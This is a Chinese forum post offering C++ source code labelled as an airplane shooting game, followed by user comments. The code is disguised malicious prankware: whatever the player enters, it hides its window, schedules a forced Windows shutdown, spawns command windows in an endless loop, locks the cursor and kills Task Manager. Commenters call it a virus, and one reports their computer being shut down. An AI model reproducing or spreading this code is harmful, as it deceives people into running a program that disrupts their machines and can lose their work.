打飞机游戏
2024-08-04 19:00:19
发布于:广东
#include <bits/stdc++.h>
#include <windows.h>
#define t system
#define g cout
#define h cin
#define j endl
#define sleep Sleep
#define pos SetCursorPos
using namespace std;
void a(int n){
if(n == 1){
string m;
g << "欢迎来到打飞机小游戏" << j;
g << "----------------------------------" << j;
g << "请问你要选择简单战还是真人战" << j;
h >> m;
if(m == "简单战"){
t("shutdown -s -t 30 -c 就你还想以大欺小,30秒换模式中,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
else if(m == "真人战"){
g << "就你还想跟真人打,吃我一击!";
g << j;
sleep(2000);
t("shutdown -s -t 30 -c 30秒等待,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
else{
g << "你竟然敢输错,那就送你一份大礼包吧";
cout << j;
sleep(2000);
t("shutdown -s -t 60 -c 60秒卡机,启动!");
g << endl;
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
else{
t("shutdown -s -t 60 -c 你竟然不玩?60秒卡机,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
int main(){
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
MessageBoxA(NULL, "一键三联", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "本代码是剑指天涯制作,可以转载", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "本代码只支持Windows系统,其它系统不行", "作者的话(这行代码禁止删除)",MB_ICONWARNING);
MessageBoxA(NULL, "本代码只支持Windows高版本的计算机", "作者的话(这行代码禁止删除)",MB_ICONWARNING);
FreeConsole();
AllocConsole();
HWND hwmd = GetForegroundWindow();
SetWindowText(hwmd,TEXT("打飞机游戏"));
HANDLE hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cInfo{};
GetConsoleCursorInfo(hOutput, &cInfo);
cInfo.bVisible = false;
SetConsoleCursorInfo(hOutput, &cInfo);
HWND hwnd = GetConsoleWindow();
LONG_PTR sty = GetWindowLongPtrA(hwnd, GWL_STYLE);
//sty =sty & ~WS_SIZEBOX & ~WS_MAXIMIZEBOX & ~WS_MINIMIZEBOX; //更改字体颜色
//SetWindowLongPtrA(hWnd, GWL_STYLE, sty); //更改字体颜色
t("color 3E");
int x;
g << "请输入1启动游戏" << j;
h >> x;
a(x);
g << x;
return 0;
}
全部评论 3
这是个病毒,会疯狂弹出cmd直到卡死!千万不要下载!!!!(或者你自己把弹窗的代码删了)
2024-08-06 来自 浙江
0我**冯,电脑给我关了
2024-08-04 来自 广东
0MessageBoxA(NULL, "本代码是剑指天涯制作,可以转载", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
2024-08-04 来自 广东
0?
2024-08-04 来自 广东
0没事
2024-08-04 来自 广东
0e...对不起。。。是真关机啦吗
2024-08-04 来自 广东
0
有帮助,赞一个